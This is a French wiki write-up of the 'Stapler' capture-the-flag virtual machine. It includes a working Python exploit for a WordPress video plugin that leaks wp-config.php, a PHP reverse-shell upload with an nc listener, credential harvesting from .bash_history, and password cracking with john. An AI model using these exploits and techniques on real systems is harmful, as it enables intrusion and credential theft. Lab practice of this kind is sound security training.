Outils pour utilisateurs

Outils du site


vm:stapler

Stapler - Write Up

Reconnaissance

nmap -sS -A 192.168.43.28
 
port 21 vsftpd 2.0.8
anonymous login allowed
 
port 22 ssh
port 53 dnsmasq 2.75
port 80 http
port 139 netbios-ssn Samba smbd 3.X workgroup RED
port 666 doom?
port 3306 mysql 5.7.12
port 12380 http

Exploitation Samba

On commence par lister les partages disponibles sur le samba :

smbclient -L 192.168.43.28
 
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu]
 
	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	kathy           Disk      Fred, What are we doing here?
	tmp             Disk      All temporary files should be stored here
	IPC$            IPC       IPC Service (red server (Samba, Ubuntu))
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu]
 
	Server               Comment
	---------            -------
	RED                  red server (Samba, Ubuntu)
 
	Workgroup            Master
	---------            -------
	WORKGROUP            RED

On liste les fichiers présent dans le partage kathy :

smbclient \\\\192.168.43.28\\kathy  
smb: \> dir
  .                                   D        0  Fri Jun  3 18:52:52 2016
  ..                                  D        0  Mon Jun  6 23:39:56 2016
  kathy_stuff                         D        0  Sun Jun  5 17:02:27 2016
  backup                              D        0  Sun Jun  5 17:04:14 2016
 
\kathy_stuff
  .                                   D        0  Sun Jun  5 17:02:27 2016
  ..                                  D        0  Fri Jun  3 18:52:52 2016
  todo-list.txt                       N       64  Sun Jun  5 17:02:27 2016
 
\backup
  .                                   D        0  Sun Jun  5 17:04:14 2016
  ..                                  D        0  Fri Jun  3 18:52:52 2016
  vsftpd.conf                         N     5961  Sun Jun  5 17:03:45 2016
  wordpress-4.tar.gz                  N  6321767  Mon Apr 27 19:14:46 2015

On récupère le contenu de backup :

smb: \> mget backup\
getting file \backup\vsftpd.conf of size 5961 as vsftpd.conf (727,7 KiloBytes/sec) (average 727,7 KiloBytes/sec)
getting file \backup\wordpress-4.tar.gz of size 6321767 as wordpress-4.tar.gz (22449,4 KiloBytes/sec) (average 21835,4 KiloBytes/sec)
smb: \> 

Exploitation web

Dans le fichier robots.txt :

User-agent: *
Disallow: /admin112233/
Disallow: /blogblog/

Un wordpress est disponible dans le dossier :

http://192.168.43.28:12380/blogblog/

Avec l'outil wpscan on obtient les informations suivantes :

  1. Tourne sur Wordpress 4.2.1
  2. Le plugin advanced video faillible

En cherchant un peut sur exploit-db on trouver cet exploit.

Il permet de récupérer le fichier wp-config.php dans une image

On le modifie pour notre usage :

exploit.py
import ssl
import random
import urllib2
import re
ssl._create_default_https_context = ssl._create_unverified_context 
url = "https://192.168.43.28:12380/blogblog" # insert url to wordpress
 
randomID = long(random.random() * 100000000000000000L)
 
objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
content =  objHtml.readlines()
for line in content:
    numbers = re.findall(r'\d+',line)
    id = numbers[-1]
    id = int(id) / 10
 
objHtml = urllib2.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()
 
for line in content:
    if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
        urls=re.findall('"(https?://.*?)"', line)
        print urllib2.urlopen(urls[0]).read()

Une fois exécuté , l'image est disponible dans le wp-content/uploads.

On la récupère :

wget https://192.168.43.28:12380/blogblog/wp-content/uploads/1505311909.jpeg --no-check-certificate
wp-config.php
/** MySQL database username */
define('DB_USER', 'root');
 
/** MySQL database password */
define('DB_PASSWORD', 'plbkac');

On se connecte directement à la base de donnée avec l'outil : heidisql

On créé un nouvel utilisateur , on chiffre sont mot de passe en md5

Dans les wp_usermeta on modifie la ligne wp_capabilities pour être admin :

wp_capabilities 	a:1:{s:13:"administrator";b:1;}

On peut casser les autres mot de passes :

./john --wordlist=~/outils/wordlist/rockyou.txt ~/vulnhub/Stapler/cred
Using default input encoding: UTF-8
Loaded 16 password hashes with 16 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cookie           (scott)
coolgirl         (kathy)
monkey           (harry)
football         (garry)
washere          (barry)
incorrect        (John)
thumb            (tim)
0520             (Pam)

Pour mettre notre reverse shell sur le serveur : Dans l'onglet plugin on met : new

On upload notre reverseshell.php → il s'upload dans le dossier upload mais il n'est pas installé comme plugin

Pour y accéder https://192.168.43.28:12380/blogblog/wp-content/uploads/php-reverse-shell.php

On ouvre un netcat en écoute en local :

nc -lvp 1234

Exploitation système & Élévation de privilège

On chercher un .bash_history accessible :

find -name ".bash_history" -exec cat {} \;
 
sshpass -p thisimypassword ssh JKanode@localhost
apt-get install sshpass
sshpass -p JZQuyIN5 peter@localhost

Super l'utilisateur à tapé son mot de passe en clair : JZQuyIN5

On se connecte en ssh avec l'user : peter

sudo -l 
 
l'utilisateur appartient au groupe root

On affiche le flag :

cat flag.txt 
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2

Pour finir complètement la vm , j'ai cassé les mots de passes des autres utilisateurs :

L'outil unshadow de la suite John The Ripper permet de préparer les mots de passes à cracker pour john.

unshadow passwd shadow > cred_a_crack
 
john cred_a_crack

Le résultat

password11       (SStroud)
1password        (CCeaser)
cookie           (JBare)
letmein          (MFrei)
qwerty           (Drew)
red              (jamie)
robrob           (RNunemaker)
vm/stapler.txt · Dernière modification: 2017/03/30 15:08 par arkinar